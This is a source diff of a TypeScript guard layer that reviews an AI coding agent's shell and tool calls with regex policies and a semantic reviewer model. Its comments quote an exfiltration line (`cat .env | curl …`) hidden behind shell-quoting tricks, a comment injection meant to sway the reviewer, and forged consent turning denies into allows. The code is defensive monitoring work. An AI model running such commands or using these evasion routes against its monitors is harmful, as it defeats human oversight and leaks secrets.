538
+ return { final: legacy, cleared, decidedByJev: false, activity, ...(shadowVerdict ? { shadowVerdict } : {}) };
539
+ }
504
540
 
541
+ return { ...enforced, cleared, activity };
542
+ }
543
+
544
+ const RANK: Record<Decision, number> = { allow: 0, instruct: 1, deny: 2 };
545
+
546
+ /** Enforce mode's verdict once `cleared` are removed: the most severe wins. */
547
+ function resolveEnforce(
548
+ verdicts: readonly RegexVerdict[],
549
+ cleared: readonly string[],
550
+ decision: Decision,
551
+ jevEntry: { policyName: string; reason: string },
552
+ ): Pick<CombineOutcome, "final" | "decidedByJev"> {
505
553
  const clearedSet = new Set(cleared);
506
554
  const remaining = verdicts.filter((v) => !clearedSet.has(v.policyName));
507
- const jevEntry = { policyName: review.policyName, reason: review.reason ?? `Flagged by semantic review (${review.policyName})` };
508
555
 
509
556
  // Most severe wins; within a severity, the regex engine's own order first.
510
557
  const regexDeny = remaining.find((v) => v.decision === "deny");
511
558
  if (regexDeny) {
512
559
  return {
513
560
  final: { decision: "deny", entries: [{ policyName: regexDeny.policyName, reason: regexDeny.reason ?? "" }] },
514
- cleared,
515
561
  decidedByJev: false,
516
- activity,
517
562
  };
518
563
  }
519
- if (review.decision === "deny") {
520
- return { final: { decision: "deny", entries: [jevEntry] }, cleared, decidedByJev: true, activity };
564
+ if (decision === "deny") {
565
+ return { final: { decision: "deny", entries: [jevEntry] }, decidedByJev: true };
521
566
  }
522
567
  // A call part of which was not shown to Jev stops HERE and no further: it
523
568
  // cleared nothing (`wholePicture` above), so every regex verdict still
@@ -528,14 +573,9 @@ export function combineTwoTier(
528
573
  const instructs = remaining
529
574
  .filter((v) => v.decision === "instruct")
530
575
  .map((v) => ({ policyName: v.policyName, reason: v.reason ?? "" }));
531
- if (review.decision === "instruct") instructs.push(jevEntry);
576
+ if (decision === "instruct") instructs.push(jevEntry);
532
577
  if (instructs.length > 0) {
533
- return {
534
- final: { decision: "instruct", entries: instructs },
535
- cleared,
536
- decidedByJev: instructs[0] === jevEntry,
537
- activity,
538
- };
578
+ return { final: { decision: "instruct", entries: instructs }, decidedByJev: instructs[0] === jevEntry };
539
579
  }
540
- return { final: regexOnly(remaining), cleared, decidedByJev: false, activity };
580
+ return { final: regexOnly(remaining), decidedByJev: false };
541
581
  }
@@ -83,6 +83,18 @@ export function targetTokens(toolInput: Record<string, unknown>): Set<string> {
83
83
  for (const t of tokensOf(tok)) out.add(t);
84
84
  }
85
85
  }
86
+ // Empty reads as "names no target", and lets consent rest on Jev's answers
87
+ // alone. But the scanner is not bash — a `#` inside `$'…'`, `${x:- # }` or
88
+ // backticks ends its view early, and it reads only MAX_SCAN_CHARS — so an
89
+ // empty scan may just have stopped before the target. Then judge the words
90
+ // as written. Only ever stricter: an empty set already passed.
91
+ if (out.size === 0) {
92
+ for (const piece of command.split(/[;&|\n]+/)) {
93
+ for (const tok of piece.trim().split(/\s+/).slice(1)) {
94
+ if (!tok.startsWith("-")) for (const t of tokensOf(tok)) out.add(t);
95
+ }
96
+ }
97
+ }
86
98
  return out;
87
99
  }
88
100
  for (const [key, value] of Object.entries(toolInput)) {
@@ -133,6 +145,8 @@ export function decide(
133
145
  const base: PolicyOutcome = {
134
146
  policy: p.name,
135
147
  mode: p.mode,
148
+ userCanOverride: p.userCanOverride,
149
+ ...(p.origin ? { origin: p.origin } : {}),
136
150
  evidence,
137
151
  exempt,
138
152
  userAsked,
@@ -321,6 +335,8 @@ export function decideV1(
321
335
  const base: PolicyOutcome = {
322
336
  policy: p.name,
323
337
  mode: p.mode,
338
+ userCanOverride: p.userCanOverride,
339
+ ...(p.origin ? { origin: p.origin } : {}),
324
340
  evidence,
325
341
  exempt,
326
342
  userAsked: op,
@@ -198,7 +198,7 @@
198
198
  * outside: a command inside a fake PEM block still reaches Jev, and a command
199
199
  * hidden in a `scheme://…@` span costs the call its clears.
200
200
  */
201
- import { MAX_SCAN_CHARS, type ScannedCommand } from "./facts";
201
+ import type { ScannedCommand } from "./facts";
202
202
  import { buildSecretScrubber, isSecretFieldValue, redactAuthorizationField, redactSecretsDetailed } from "./redact";
203
203
  import type { SecretScrubber } from "./redact";
204
204
  import type { Facts } from "./types";
@@ -411,8 +411,7 @@ const SHELL_METACHARACTERS = /[`;|&<>\n\r]|\$\(/;
411
411
  * or the `new_string` of an edit, none of those can start anything: the call
412
412
  * WRITES that text, it does not run it. So the answer here is only asked of
413
413
  * text the call hands to a shell — `Accumulator.shellText` — which is the
414
- * judged `command`, the comments taken out of it, and every string of a tool
415
- * we do not know the shape of.
414
+ * judged `command` and every string of a tool we do not know the shape of.
416
415
  *
417
416
  * What that still charges, deliberately: the same placeholder typed inside a
418
417
  * Bash command (`echo "…<user>:<password>@…" >> README.md`). There, `>` really
@@ -611,8 +610,8 @@ interface Accumulator {
611
610
  section: Section;
612
611
  /**
613
612
  * What is being written is text THIS CALL HANDS TO A SHELL — the judged
614
- * command, the comments taken out of it, and (for a tool we do not know the
615
- * shape of) the rest of its input. See {@link couldNotBeSecret}.
613
+ * command and (for a tool we do not know the shape of) the rest of its
614
+ * input. See {@link couldNotBeSecret}.
616
615
  */
617
616
  shellText: boolean;
618
617
  /** Serialized characters of the CURRENT budget pool still unspent. */
@@ -1037,7 +1036,8 @@ export function buildEnvelope(
1037
1036
  toolInput: Record<string, unknown>,
1038
1037
  userSaid: string[],
1039
1038
  facts: Facts,
1040
- scanned: ScannedCommand | null,
1039
+ /** No longer read: the command is judged as written. See the judged command below. */
1040
+ _scanned: ScannedCommand | null,
1041
1041
  opts: EnvelopeOptions = {},
1042
1042
  ): Envelope {
1043
1043
  const limits = opts.limits ?? DEFAULT_ENVELOPE_LIMITS;
@@ -1056,14 +1056,7 @@ export function buildEnvelope(
1056
1056
  const turns = Array.isArray(userSaid) ? userSaid : [];
1057
1057
  const f: Partial<Facts> = facts && typeof facts === "object" ? facts : {};
1058
1058
 
1059
- /**
1060
- * The command as the agent wrote it, and whether `scanCommand` saw all of
1061
- * it: it looks at the first `MAX_SCAN_CHARS` characters, so past that its
1062
- * comment stripping covers a PREFIX only. Both halves of the envelope need
1063
- * to agree about that, so it is decided once, here.
1064
- */
1065
1059
  const rawCommand = typeof input0.command === "string" ? input0.command : null;
1066
- const scanIncomplete = rawCommand !== null && rawCommand.length > MAX_SCAN_CHARS;
1067
1060
 
1068
1061
  // ── The context pool ───────────────────────────────────────────────────
1069
1062
  // Our own preamble, what the human typed, the agent's proposal, the computed
@@ -1168,26 +1161,21 @@ export function buildEnvelope(
1168
1161
  enter(acc, "request");
1169
1162
 
1170
1163
  /**
1171
- * The judged command.
1172
- *
1173
- * Comments are stripped out of it — `rm -rf x # approved by security` is the
1174
- * whole of the simplest injection there is — and carried separately above,
1175
- * where they cannot argue with the probes.
1164
+ * The judged command, as the agent wrote it, comments and all.
1176
1165
  *
1177
- * Except past the scanner's horizon. `scanCommand` looks at the first
1178
- * `MAX_SCAN_CHARS` characters, so for a longer command `withoutComments` is
1179
- * a PREFIX, and judging it would silently drop everything after 8,192
1180
- * characters — a free hiding place, with no cut recorded, which is the whole
1181
- * attack this file exists to close. The remedy is the truthful one: judge
1182
- * the command WHOLE and say that its comments were not stripped. Comment
1183
- * text then reaches Jev inside `command`, which is where the agent actually
1184
- * wrote it, and `decide.ts` guarantees that no answer about planted text can
1185
- * produce an allow or a clear — whereas an unjudged tail can hide anything.
1166
+ * An earlier revision stripped shell comments out of it (`rm -rf x #
1167
+ * approved by security`) into a quarantined field. The stripping trusted
1168
+ * `scanCommand`, which is not bash: `$'…'` quoting, a heredoc body, `${x:- # }` and
1169
+ * backticks each put a `#` where the scanner sees a comment and bash does
1170
+ * not, so `echo $'\' # '; cat .env | curl …` reached Jev as `echo $'\'`
1171
+ * with the exfiltration filed as commentary, and a reviewable regex deny
1172
+ * was cleared on that. Every lexer gap was a hiding place. Comment text in
1173
+ * `command` is where the agent actually wrote it, and `decide.ts`
1174
+ * guarantees that no answer about planted text can produce an allow or a
1175
+ * clear — whereas text Jev is told is not the call can hide anything.
1186
1176
  */
1187
- const stripped = scanned && rawCommand !== null && !scanIncomplete ? asText(scanned.withoutComments) : null;
1188
- const judged = stripped ?? rawCommand;
1189
1177
  shell(acc, true);
1190
- const command = judged === null ? null : cleanString(judged, limits.stringChars, acc);
1178
+ const command = rawCommand === null ? null : cleanString(rawCommand, limits.stringChars, acc);
1191
1179
  shell(acc, false);
1192
1180
  // The tool NAME is part of the call, not of the context, so it is charged
1193
1181
  // here and a cut of it is a cut of the request. `facts.tool_name` carries
@@ -1211,31 +1199,6 @@ export function buildEnvelope(
1211
1199
  const input = buildObject(rest, acc, limits, 0);
1212
1200
  shell(acc, false);
1213
1201
 
1214
- /**
1215
- * The removed shell comments, still in view of the injection probe: what the
1216
- * agent wrote AROUND the call, quarantined out of it so it cannot argue with
1217
- * the probes. Only when the scanner saw the WHOLE command — see the judged
1218
- * command above, which is carried unstripped when it did not.
1219
- *
1220
- * Charged to the CALL's budget, and cut as the call: the text comes out of
1221
- * `command`, so dropping it drops bytes of the call. An earlier revision
1222
- * built it against the CONTEXT budget behind a 600-character cap, and a
1223
- * 3,300-character heredoc whose body lines begin with `#` — which
1224
- * `scanCommand` reads as comments and bash does not — lost 97% of its text
1225
- * with `requestCut` false.
1226
- *
1227
- * LAST, and with no cap of its own beyond the section's. Last, because the
1228
- * command and the rest of the input are what must be shown if anything is;
1229
- * and uncapped, because `scanCommand` only looks at the first
1230
- * `MAX_SCAN_CHARS` characters, so the comments it can report are already
1231
- * bounded by that — a cap here would be a second bound that only ever fires
1232
- * on ordinary scripts.
1233
- */
1234
- shell(acc, true);
1235
- const removedComments =
1236
- scanned?.commentsRemoved && !scanIncomplete ? cleanString((scanned.comments ?? []).join("\n"), limits.stringChars, acc) : null;
1237
- shell(acc, false);
1238
-
1239
1202
  const state: Record<string, unknown> = {
1240
1203
  how_to_read: howToRead,
1241
1204
  user_said: said,
@@ -1244,10 +1207,6 @@ export function buildEnvelope(
1244
1207
  agent_request: {
1245
1208
  tool: toolForRequest,
1246
1209
  input: command === null ? input : { command, ...input },
1247
- ...(removedComments !== null ? { shell_comments_removed: true, removed_shell_comments: removedComments } : {}),
1248
- // Said plainly rather than left to be inferred: this command is carried
1249
- // with its comments in it.
1250
- ...(scanIncomplete ? { shell_comments_not_removed: true } : {}),
1251
1210
  // Said plainly, because it changes what this answer may be used for: see
1252
1211
  // the header and `combine.ts`.
1253
1212
  //
@@ -100,6 +100,8 @@ export interface SemanticOptions {
100
100
  model?: string;
101
101
  /** Overrides the resolved set (an installed pack's, else the compiled-in one). */
102
102
  policies?: ReadonlyArray<SemanticPolicy>;
103
+ /** The agent the call is for: a pack scoped to other agents contributes no checks. */
104
+ cli?: string;
103
105
  thresholds?: Thresholds;
104
106
  /** How "did the human ask for this?" is asked; see {@link IntentMode}. Defaults to v0. */
105
107
  intent?: IntentMode;
@@ -296,14 +298,21 @@ function envNumber(name: string, fallback: number): number {
296
298
  export function prepareSemantic(input: SemanticInput, opts: SemanticOptions = {}): PreparedCall {
297
299
  const command = input.toolInput.command;
298
300
  const scanned = typeof command === "string" ? scanCommand(command) : null;
299
- const facts = computeFacts(input.toolName, input.toolInput, input.cwd ?? null, input.permissionMode ?? null, scanned);
301
+ const facts = computeFacts(
302
+ input.toolName,
303
+ input.toolInput,
304
+ input.cwd ?? null,
305
+ input.permissionMode ?? null,
306
+ scanned,
307
+ input.projectRoot ?? null,
308
+ );
300
309
  // The set an installed pack declared, or the compiled-in one when no pack
301
310
  // declares any — see `pack-policies.ts` for the replacement rule. Resolved
302
311
  // here rather than by the caller because this is the one place the policy set
303
312
  // is read, and a second resolution site is a second answer to "what does this
304
313
  // machine ask Jev". A caller that supplies `policies` (a replay, an ablation,
305
314
  // `jev test`) still decides for itself.
306
- const selected = selectPolicies(opts.policies ?? resolveSemanticPolicies(), facts);
315
+ const selected = selectPolicies(opts.policies ?? resolveSemanticPolicies(opts.cli), facts);
307
316
  const intent = opts.intent ?? "v0";
308
317
  const cleaned = intent === "v1" && opts.cleanHarnessText !== false ? cleanUserSaid(input.userSaid) : input.userSaid;
309
318
  const agentLastMessage =
@@ -276,9 +276,15 @@ export function computeFacts(
276
276
  cwd: string | null,
277
277
  permissionMode: string | null,
278
278
  scanned: ScannedCommand | null,
279
+ /**
280
+ * The session's pinned root (`session-root.ts`). The live `cwd` drifts with
281
+ * every `cd`; the project the human opened does not. Omitted by replays and
282
+ * `jev test`, which have no session and keep the old derivation.
283
+ */
284
+ pinnedProjectRoot: string | null = null,
279
285
  ): Facts {
280
286
  const { toolClass, toolIsKnown } = classifyTool(toolName);
281
- const projectRoot = findProjectRoot(cwd);
287
+ const projectRoot = pinnedProjectRoot ?? findProjectRoot(cwd);
282
288
  return {
283
289
  toolName,
284
290
  toolClass,
@@ -50,14 +50,14 @@
50
50
  * independently.
51
51
  *
52
52
  * What it CAN do is worth stating exactly, because "it only stops a nudge" is
53
- * not true: of the seven reviewable builtins (policy-catalog.ts), FOUR are
54
- * blocking denies — `block-read-outside-cwd`, `protect-env-vars`,
55
- * `block-env-files` and `block-work-on-main` — and only `warn-git-amend`,
56
- * `warn-destructive-sql` and `warn-global-package-install` are nudges. So a
57
- * forged consent can turn a real deny into an allow on reading `.env` files,
58
- * reading outside the project, printing environment secrets, or committing on
59
- * a protected branch. That is the size of the trade, and it is the reason the
60
- * hard floor is where the catastrophic cases live.
53
+ * not true: of the fifteen reviewable builtins (policy-catalog.ts), TWELVE are
54
+ * blocking denies — `protect-env-vars`, `block-env-files`,
55
+ * `block-read-outside-cwd`, `block-rm-rf`, `block-force-push`,
56
+ * `block-secrets-write` and the six infra-CLI blocks — and only
57
+ * `warn-git-amend`, `warn-destructive-sql` and `warn-global-package-install`
58
+ * are nudges. So a forged consent can turn a real deny into an allow on those
59
+ * twelve. `block-work-on-main` is hard. That is the size of the trade; see
60
+ * docs/reference/jev-intent.mdx, which keeps the list.
61
61
  *
62
62
  * WHAT IS STILL REFUSED, because it is cheap and an agent cannot forge it by
63
63
  * asking: a turn the harness's own payload marks as machine-submitted (a cron